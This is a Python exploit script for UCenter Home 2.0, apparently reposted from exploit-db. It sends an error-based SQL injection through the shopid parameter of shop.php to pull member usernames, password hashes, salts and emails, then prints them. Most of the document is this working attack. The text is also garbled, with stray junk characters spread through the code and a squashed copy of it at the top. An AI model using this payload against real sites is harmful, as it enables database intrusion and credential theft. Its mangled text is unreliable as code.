#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
4 W) D; L: l" r
! w; K: R: G* U3 Q( D; ~- _
6 F( W' C* x7 r+ Z6 C) i#!/usr/bin/env python
- q4 e' v) ~) f8 [9 j " x+ Z* a8 Z# f
import sys
' B7 e( B! K( U7 ?import urllib2
- H! r, M8 D1 n [3 h6 a% Bimport re
' V6 i( O1 p3 \8 `6 F) \# x% u7 N7 `
0 @$ Q' z# y% u, Z: k# n( odef info(): ) b, P! q- K+ n
print 'From:http://www.exploit-db.com/exploits/14997/'
4 V5 |8 ^% ^: S5 z print 'http://www.hake.cc/Web_loudong/'
B7 N$ z' s- j) \, I3 }3 R print 'changed:qiaoy'
8 `# y4 K0 @6 v9 j9 M1 C( ` print 'exp:'
/ ?! i$ o( E; _* v print ' ./UCenter_Home_2.0.py site'
# [* J7 t4 B6 N% l / q# u( C w. a. }1 q' Y
def main():
7 ?1 T6 p( A6 G! A7 q if len(sys.argv) != 2: # m6 P- I& c, j9 X4 ~
info() * c7 G" O X( I7 k' \+ c b
else:
6 D ?$ C+ u0 O V, E site = sys.argv[1]
+ V( |. V. I" F2 w* s2 c if site[0:7] == 'http://':
3 r2 w. \$ i7 p& | sitesite =site
6 u5 p W. o0 J+ c: N elif site[0:8] == 'https://': 5 y0 h4 e" ?) y7 R. h8 X; M
sitesite = site
' K. K7 Q$ q2 A4 T else: 2 o$ B4 b% w9 t5 Z: i
site = 'http://'+site , C) A$ @ }$ ` O; x5 O! ^
try: 3 F- E* s* }# j* E6 N& z
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1' 7 u7 p* w3 v# @+ V& m! W
Value = urllib2.urlopen(url).read() 7 u* X) z" n; F! h+ M+ d5 [9 p( M
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
8 l# B# q$ r) } hacked = Msg.split(':') " Q% g( p8 a/ P
print 'Name: '+hacked[1]
+ c# R1 N( \9 B- K6 v9 A3 M" N; u print 'Passwd: '+hacked[2]
6 S2 n( C! B. W U print 'salt: '+hacked[3] 8 ~- V9 r7 G" i o; C$ a3 z
print 'email: '+hacked[4]
. G- Y. z; A6 ` except:
- \7 t$ e- T& u* y Z print 'Sorry,I can\'t work............' ) H# I! p' B% T: a+ f
! Y' j! u: |5 jif __name__ == '__main__':
6 M1 J' I* _% B" ^& l( E main() |